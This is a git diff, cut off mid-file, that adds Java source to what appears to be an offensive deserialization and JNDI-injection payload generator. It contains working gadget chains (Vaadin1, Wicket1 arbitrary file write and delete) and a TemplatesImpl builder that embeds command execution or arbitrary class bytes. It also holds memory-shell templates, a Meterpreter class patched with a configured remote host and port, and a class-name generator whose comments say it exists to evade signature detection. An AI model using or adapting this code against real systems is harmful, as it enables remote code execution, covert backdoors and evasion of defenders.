dnsLog, "com.fasterxml.jackson.databind.node.POJONode"); + list.add(jackson2100); + break; + case "fastjson": + Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray"); + list.add(fastjson); + break; + case "all": + for (int i = 0; i < defaultClass.length; i++) { + setList(defaultClass[i], dnsLog); + } + break; + default: + Object hm = getURLDNSGadget(clazzName.replace(".", "_").replace("$", "_") + "." + dnsLog, clazzName); + list.add(hm); + break; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Vaadin1.java b/src/main/java/com/qi4l/jndi/gadgets/Vaadin1.java new file mode 100644 index 00000000..dfdbb066 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Vaadin1.java @@ -0,0 +1,84 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; + +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.vaadin.data.util.NestedMethodProperty; +import com.vaadin.data.util.PropertysetItem; + +import javax.management.BadAttributeValueExpException; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +/** + +-------------------------------------------------+ + | | + | BadAttributeValueExpException | + | | + | val ==> PropertysetItem | + | | + | readObject() ==> val.toString() | + | + | + +----------|--------------------------------------+ + | + | + | + +----|-----------------------------------------+ + | v | + | PropertysetItem | + | | + | toString () => getPropertyId().getValue () | + | + | + +---------------------------------------|------+ + | + +-----------------------------+ + | + +-----|----------------------------------------------+ + | v | + | NestedMethodProperty | + | | + | getValue() => java.lang.reflect.Method.invoke () | + | | | + +-------------------------------------------|--------+ + | + +-----------------------------------+ + | + +---|--------------------------------------------+ + | v | + | TemplatesImpl.getOutputProperties() | + | | + +------------------------------------------------+ +*/ +@SuppressWarnings({"unused"}) +@Dependencies({"com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14"}) +@Authors({Authors.KULLRICH}) +public class Vaadin1 implements ObjectPayload { + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + PropertysetItem pItem = new PropertysetItem(); + + NestedMethodProperty nmprop = new NestedMethodProperty(templates, "outputProperties"); + pItem.addItemProperty("outputProperties", nmprop); + + BadAttributeValueExpException b = new BadAttributeValueExpException(""); + Reflections.setFieldValue(b, "val", pItem); + + return b; + } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Wicket1.java b/src/main/java/com/qi4l/jndi/gadgets/Wicket1.java new file mode 100644 index 00000000..955bec95 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Wicket1.java @@ -0,0 +1,105 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; + +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.wicket.util.io.DeferredFileOutputStream; +import org.apache.wicket.util.io.ThresholdingOutputStream; +import org.apache.wicket.util.upload.DiskFileItem; + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.util.Arrays; + +/** + * This gadget is almost identical to FileUpload1 since it appears + * that Apache Wicket copied a version of Apache Commons DiskFileItem + * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That + * means that if the target is running less than Oracle Java 7 update 40 + * then the NULL byte attack is viable. Otherwise, copy and move attacks + * always work. + *

+ * This attack is valid for the 1.x and 6.x lines of Apache Wicket but + * was fixed in 1.5.16 and 6.24.0 (released July 2016). + *

+ *

+ * Arguments: + * - copyAndDelete;sourceFile;destDir + * - write;destDir;ascii-data + * - writeB64;destDir;base64-data + * - writeOld;destFile;ascii-data + * - writeOldB64;destFile;base64-data + *

+ * Example: + * Wicket1 "write;/tmp;blue lobster" + *

+ * Result: + * $ ls -l /tmp/ + * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * blue lobster + */ +@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) +@Authors({Authors.JACOBAINES}) +public class Wicket1 implements ReleaseableObjectPayload { + @Override + public DiskFileItem getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + String[] parts = command.split(";"); + + if (parts.length != 3) { + throw new IllegalArgumentException("Bad command format."); + } + + if ("copyAndDelete".equals(parts[0])) { + return copyAndDelete(parts[1], parts[2]); + } else if ("write".equals(parts[0])) { + return write(parts[1], parts[2].getBytes("US-ASCII")); + } else if ("writeB64".equals(parts[0])) { + return write(parts[1], Base64.decodeBase64(parts[2])); + } else if ("writeOld".equals(parts[0])) { + return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); + } else if ("writeOldB64".equals(parts[0])) { + return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); + } + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + + @Override + public void release(DiskFileItem obj) throws Exception { + + } + + private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + // writes data to an arbitrary file + private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java b/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java new file mode 100644 index 00000000..93725249 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java @@ -0,0 +1,58 @@ +package com.qi4l.jndi.gadgets.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Authors { + + String FROHOFF = "frohoff"; + + String PWNTESTER = "pwntester"; + + String CSCHNEIDER4711 = "cschneider4711"; + + String MBECHLER = "mbechler"; + + String JACKOFMOSTTRADES = "JackOfMostTrades"; + + String MATTHIASKAISER = "matthias_kaiser"; + + String GEBL = "gebl"; + + String JACOBAINES = "jacob-baines"; + + String JASINNER = "jasinner"; + + String KULLRICH = "kai_ullrich"; + + String TINT0 = "_tint0"; + + String SCRISTALLI = "scristalli"; + + String HANYRAX = "hanyrax"; + + String EDOARDOVIGNATI = "EdoardoVignati"; + + String JANG = "Jang"; + + String ARTSPLOIT = "artsploit"; + + String[] value() default {}; + + class Utils { + + public static String[] getAuthors(AnnotatedElement annotated) { + Authors authors = annotated.getAnnotation(Authors.class); + if (authors != null && authors.value() != null) { + return authors.value(); + } else { + return new String[0]; + } + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/annotation/Dependencies.java b/src/main/java/com/qi4l/jndi/gadgets/annotation/Dependencies.java new file mode 100644 index 00000000..dafd0de9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/annotation/Dependencies.java @@ -0,0 +1,46 @@ +package com.qi4l.jndi.gadgets.annotation; + +import com.qi4l.jndi.gadgets.utils.Reflections; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; +import java.lang.reflect.Method; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Dependencies { + + + String[] value() default {}; + + public static class Utils { + + public static String[] getDependencies(AnnotatedElement annotated) { + Dependencies deps = annotated.getAnnotation(Dependencies.class); + if (deps != null && deps.value() != null) { + return deps.value(); + } else { + try { + Class name = Class.forName(Reflections.getFieldValue(annotated, "name").toString()); + Method m = name.getDeclaredMethod("getDependencies"); + m.setAccessible(true); + return (String[]) m.invoke(null); + } catch (Exception ignored) { + return new String[0]; + } + } + } + + public static String[] getDependenciesSimple(AnnotatedElement annotated) { + String[] deps = getDependencies(annotated); + String[] simple = new String[deps.length]; + for (int i = 0; i < simple.length; i++) { + simple[i] = deps[i].split(":", 2)[1]; + } + return simple; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/ByteUtil.java b/src/main/java/com/qi4l/jndi/gadgets/utils/ByteUtil.java new file mode 100644 index 00000000..76c6e826 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/ByteUtil.java @@ -0,0 +1,89 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; + +public class ByteUtil { + public static int getSubarrayIndex(byte[] haystack, byte[] needle) { + outer: + for (int i = 0; i <= haystack.length - needle.length; ++i) { + for (int j = 0; j < needle.length; ++j) { + if (haystack[i + j] != needle[j]) { + continue outer; + } + } + return i; + } + + return -1; + } + public static byte[] deleteAt(byte[] bs, int index) { + int length = bs.length - 1; + byte[] ret = new byte[length]; + + if(index == bs.length - 1) { + System.arraycopy(bs, 0, ret, 0, length); + } else if(index < bs.length - 1) { + for(int i = index; i < length; i++) { + bs[i] = bs[i + 1]; + } + + System.arraycopy(bs, 0, ret, 0, length); + } + + return ret; + } + + public static byte[] addAtIndex(byte[] bs, int index, byte b) { + int length = bs.length + 1; + byte[] ret = new byte[length]; + + System.arraycopy(bs, 0, ret, 0, index); + ret[index] = b; + System.arraycopy(bs, index, ret, index + 1, length - index - 1); + + return ret; + } + + public static byte[] addAtLast(byte[] bs, byte b) { + int length = bs.length + 1; + byte[] ret = new byte[length]; + + System.arraycopy(bs, 0, ret, 0, length-1); + ret[length - 1] = b; + + return ret; + } + + public static byte[] objectsToBytes(Object[] objs) throws Exception{ + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + DataOutputStream dos = new DataOutputStream(baos); + for (Object obj : objs) { + treatObject(dos, obj); + } + dos.close(); + return baos.toByteArray(); + } + private static void treatObject(DataOutputStream dos, Object obj) + throws IOException { + if (obj instanceof Byte) { + dos.writeByte((Byte) obj); + } else if (obj instanceof Short) { + dos.writeShort((Short) obj); + } else if (obj instanceof Integer) { + dos.writeInt((Integer) obj); + } else if (obj instanceof Long) { + dos.writeLong((Long) obj); + } else if (obj instanceof String) { + dos.writeUTF((String) obj); + } else { + ByteArrayOutputStream ba = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(ba); + oos.writeObject(obj); + oos.close(); + dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java new file mode 100644 index 00000000..d00a7929 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java @@ -0,0 +1,51 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.qi4l.jndi.template.*; +import com.qi4l.jndi.template.memshell.Websphere.WebsphereMemshellTemplate; +import com.qi4l.jndi.template.echo.SpringEcho; +import com.qi4l.jndi.template.echo.TomcatEcho; +import com.qi4l.jndi.template.memshell.jboss.JBFMSFromContextF; +import net.jodah.expiringmap.ExpirationPolicy; +import net.jodah.expiringmap.ExpiringMap; +import java.util.concurrent.TimeUnit; + +public class Cache { + private static ExpiringMap map = ExpiringMap.builder() + .maxSize(1000) + .expiration(30, TimeUnit.SECONDS) + .variableExpiration() + .expirationPolicy(ExpirationPolicy.CREATED) + .build(); + + static{ + try { + //过期时间100年,永不过期的简单方法 + map.put("TomcatEcho", Util.getClassBytes(TomcatEcho.class), 365 * 100, TimeUnit.DAYS); + map.put("SpringEcho", Util.getClassBytes(SpringEcho.class), 365 * 100, TimeUnit.DAYS); + map.put("JBossMemshellTemplate", Util.getClassBytes(JBFMSFromContextF.class), 365 * 100, TimeUnit.DAYS); + map.put("WebsphereMemshellTemplate", Util.getClassBytes(WebsphereMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); + map.put("isOK", Util.getClassBytes(isOK.class), 365 * 100, TimeUnit.DAYS); + //测试添加到cache中 + map.put("isSuccess", Util.getClassBytes(isSuccess.class),365 * 100, TimeUnit.DAYS); + map.put("Meterpreter", ClassByteChange.update(Meterpreter.class),365 * 100, TimeUnit.DAYS); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static byte[] get(String key){ + return map.get(key); + } + + public static void set(String key, byte[] bytes){ + map.put(key, bytes); + } + + public static boolean contains(String key){ + return map.containsKey(key); + } + + public static void remove(String key){ + map.remove(key); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java new file mode 100644 index 00000000..fb3d7937 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java @@ -0,0 +1,63 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.template.Meterpreter; +import javassist.*; + +import java.io.*; + +public class ClassByteChange { + + public static void main(String[] args) { + try { + update(Meterpreter.class); + } catch (NotFoundException e) { + e.printStackTrace(); + } catch (CannotCompileException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } + } + //动态获取.class + public static byte[] update(Class clazz) throws NotFoundException, CannotCompileException, IOException { + + File dir=new File(""); + String ap=dir.getAbsolutePath(); + ap=ap+File.separatorChar+"data"; + ClassPool cPool = new ClassPool(true); + + //设置class文件的位置 + cPool.insertClassPath(ap); + + cPool.importPackage("java.io.DataInputStream"); + cPool.importPackage("java.io.InputStream"); + cPool.importPackage("java.net.Socket;"); + cPool.importPackage("java.io.OutputStream"); + cPool.importPackage("java.util.HashMap"); + //获取该class对象 + CtClass cClass = cPool.get("Meterpreter"); + //获取到对应的方法 + CtMethod cMethodHost = cClass.getDeclaredMethod("initLhost"); + + cMethodHost.setBody("{ this.host = \""+ Config.rhost+"\";\n" + + " this.port = \""+Config.rport+"\";}"); + + //替换原有的文件 + cClass.writeFile(ap); + InputStream in= new FileInputStream(ap+File.separatorChar+"Meterpreter.class"); + byte[] bytes = new byte[1024]; + ByteArrayOutputStream baous = new ByteArrayOutputStream(); + int len = 0; + while((len = in.read(bytes)) != -1){ + baous.write(bytes, 0 , len); + } + + in.close(); + baous.close(); + + return baous.toByteArray(); + + + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/ClassFiles.java b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassFiles.java new file mode 100644 index 00000000..53f7febe --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassFiles.java @@ -0,0 +1,44 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +public class ClassFiles { + public static String classAsFile(final Class clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/ClassNameUtils.java b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassNameUtils.java new file mode 100644 index 00000000..ea531f92 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassNameUtils.java @@ -0,0 +1,88 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.net.JarURLConnection; +import java.net.URL; +import java.util.Enumeration; +import java.util.HashSet; +import java.util.Set; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; + +public class ClassNameUtils { + public static ClassLoader loader = new SuClassLoader(); + + public static Set set = null; + + /** + * 生成一个咋一下不出来问题的,但是在用户实际环境不存在的类名 + * 本来想直接用哥斯拉的 txt,但估计特征都被搞完了,这里自实现一个方法 + * 因为 apache 基金会的开源项目非常多,几乎大多数项目都会用到,所以看到 org.apache 包名的类也不会惊讶 + * 这里的逻辑是,获取目前项目中所有 org.apache 包下的类名,随机取两个,第一个取前三个包名,第二个取后三个包名进行拼接 + * + * @return 返回类型 + */ + public static String generateClassName() { + if (set == null) { + set = getClassSet("org.apache"); + } + Object[] array = set.toArray(); + + String name1 = array[(int) (Math.random() * array.length)].toString(); + String name2 = name1; + + while (name1.equals(name2)) { + name2 = array[(int) (Math.random() * array.length)].toString(); + } + + // 获取第一个包的前三个包名 + name1 = name1.substring(0, name1.indexOf(".", 11)); + + // 获取第二个包的后三个包名 + String temp = name2.substring(0, name2.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + name2 = name2.substring(temp.length()); + + String newName = name1 + name2; + + if (set.contains(newName)) { + return generateClassName(); + } else { + return newName; + } + } + + public static Set getClassSet(String packageName) { + Set classSet = new HashSet<>(); + try { + Enumeration urls = loader.getResources(packageName.replace(".", "/")); + while (urls.hasMoreElements()) { + URL url = urls.nextElement(); + if (url != null) { + String protocol = url.getProtocol(); + if (protocol.equals("jar")) { + JarURLConnection jarURLConnection = (JarURLConnection) url.openConnection(); + if (jarURLConnection != null) { + JarFile jarFile = jarURLConnection.getJarFile(); + if (jarFile != null) { + Enumeration jarEntries = jarFile.entries(); + while (jarEntries.hasMoreElements()) { + JarEntry jarEntry = jarEntries.nextElement(); + String jarEntryName = jarEntry.getName(); + if (jarEntryName.endsWith(".class")) { + String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replaceAll("/", "."); + if (!className.contains("$") && className.startsWith(packageName)) { + classSet.add(className); + } + } + } + } + } + } + } + } + } catch (Exception ignored) { + } + return classSet; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java new file mode 100644 index 00000000..fc760d56 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java @@ -0,0 +1,214 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.Config.Config; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.*; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.lang.RandomStringUtils; +import org.apache.wicket.util.file.Files; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.Serializable; +import java.lang.reflect.*; +import java.util.HashMap; +import java.util.Map; +import java.util.zip.GZIPOutputStream; + +import static com.qi4l.jndi.gadgets.utils.InjShell.insertCMD; +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +/* + * utility generator functions for common jdk-only gadgets + */ +@SuppressWarnings({ + "restriction", "rawtypes", "unchecked" +}) +public class Gadgets { + + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + } + + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + // required to make TemplatesImpl happy + public static class Foo implements Serializable { + + private static final long serialVersionUID = 8207363842866235160L; + } + + + public static T createMemoitizedProxy(final Map map, final Class iface, final Class... ifaces) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + + public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + + public static T createProxy(final InvocationHandler ih, final Class iface, final Class... ifaces) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[0] = iface; + if (ifaces.length > 0) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); + } + + + public static Map createMap(final String key, final Object val) { + final Map map = new HashMap(); + map.put(key, val); + return map; + } + + + public static Object createTemplatesImpl(PayloadType type, String... param) throws Exception { + String command = param[0]; + + Class clazz; + Class tplClass; + Class abstTranslet; + Class transFactory; + + // 兼容不同 JDK 版本 + if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { + tplClass = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"); + abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + transFactory = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"); + } else { + tplClass = TemplatesImpl.class; + abstTranslet = AbstractTranslet.class; + transFactory = TransformerFactoryImpl.class; + } + + if (command.startsWith("LF#")) { + command = command.substring(3); + byte[] bs = Files.readBytes(new File(command.split("[#]")[0])); + String className = command.split("[#]")[1]; + return createTemplatesImpl(null, bs, className, tplClass, abstTranslet, transFactory); + } else { + // 否则就是普通的命令执行 + return createTemplatesImpl(command, null, null, tplClass, abstTranslet, transFactory); + } + } + + public static T createTemplatesImpl(final String command, byte[] bytes, String cName, Class tplClass, Class abstTranslet, Class transFactory) throws Exception { + final T templates = tplClass.newInstance(); + byte[] classBytes = new byte[0]; + ClassPool pool = ClassPool.getDefault(); + String newClassName = ClassNameUtils.generateClassName(); + + pool.insertClassPath(new ClassClassPath(abstTranslet)); + CtClass superClass = pool.get(abstTranslet.getName()); + + CtClass ctClass = null; + + // 如果 Command 不为空,则是普通的命令执行 + if (command != null) { + ctClass = pool.makeClass(newClassName); + insertCMD(ctClass); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{execCmd(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + + // 最短化 +// ctClass = pool.makeClass(newClassName); +// CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); +// ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); +// ctClass.addConstructor(ctConstructor); + + // 如果全局配置继承,再设置父类 + if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { + ctClass.setSuperclass(superClass); + } + + classBytes = ctClass.toBytecode(); + } + + // 写入前将 classBytes 中的类标识设为 JDK 1.6 的版本号 + classBytes[7] = 49; + + // 如果 bytes 不为空,则使用 ClassLoaderTemplate 加载任意恶意类字节码 + if (bytes != null) { + ctClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate"); + ctClass.setName(ClassNameUtils.generateClassName()); + ByteArrayOutputStream outBuf = new ByteArrayOutputStream(); + GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outBuf); + gzipOutputStream.write(bytes); + gzipOutputStream.close(); + String content = "b64=\"" + Base64.encodeBase64String(outBuf.toByteArray()) + "\";"; + String className = "className=\"" + cName + "\";"; + ctClass.makeClassInitializer().insertBefore(content); + ctClass.makeClassInitializer().insertBefore(className); + + if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { + ctClass.setSuperclass(superClass); + } + + classBytes = ctClass.toBytecode(); + + } + + // 是否继承恶意类 AbstractTranslet + if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { + // 将类字节注入实例 + Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes}); + } else { + CtClass newClass = pool.makeClass(ClassNameUtils.generateClassName()); + insertField(newClass, "serialVersionUID", "private static final long serialVersionUID = 8207363842866235160L;"); + + Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, newClass.toBytecode()}); + // 当 _transletIndex >= 0 且 classCount 也就是生成类的数量大于 1 时,不需要继承 AbstractTranslet + Reflections.setFieldValue(templates, "_transletIndex", 0); + } + + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", RandomStringUtils.randomAlphabetic(8).toUpperCase()); + Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + return templates; + } + + + public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, + IllegalAccessException, InvocationTargetException { + HashMap s = new HashMap(); + Reflections.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } catch (ClassNotFoundException e) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + Reflections.setAccessible(nodeCons); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } + + public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception { + ctClass.defrost(); + try { + CtField ctSUID = ctClass.getDeclaredField(fieldName); + ctClass.removeField(ctSUID); + } catch (javassist.NotFoundException ignored) { + } + ctClass.addField(CtField.make(fieldCode, ctClass)); + } +} + diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/GadgetsYso.java b/src/main/java/com/qi4l/jndi/gadgets/utils/GadgetsYso.java new file mode 100644 index 00000000..d5a61755 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/GadgetsYso.java @@ -0,0 +1,175 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassClassPath; +import javassist.CtClass; +import javassist.CtConstructor; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.gadgets.Config.Config.*; +import static com.qi4l.jndi.gadgets.utils.handle.ClassFieldHandler.insertField; +import static com.qi4l.jndi.gadgets.utils.handle.ClassMethodHandler.insertCMD; +import static com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler.generateClassName; +import static com.qi4l.jndi.gadgets.utils.handle.GlassHandler.generateClass; +import static com.qi4l.jndi.gadgets.utils.handle.GlassHandler.shrinkBytes; +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +public class GadgetsYso { + public static Class TPL_CLASS = TemplatesImpl.class; + + public static Class ABST_TRANSLET = AbstractTranslet.class; + + public static Class TRANS_FACTORY = TransformerFactoryImpl.class; + + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + + try { + // 兼容不同 JDK 版本 + if (Boolean.parseBoolean(System.getProperty("properXalan", "false")) || FORCE_USING_ORG_APACHE_TEMPLATESIMPL) { + TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"); + ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"); + } + } catch (Exception ignored) { + } + } + + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + public static T createMemoitizedProxy(final Map map, final Class iface, final Class... ifaces) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + + public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + + public static T createProxy(final 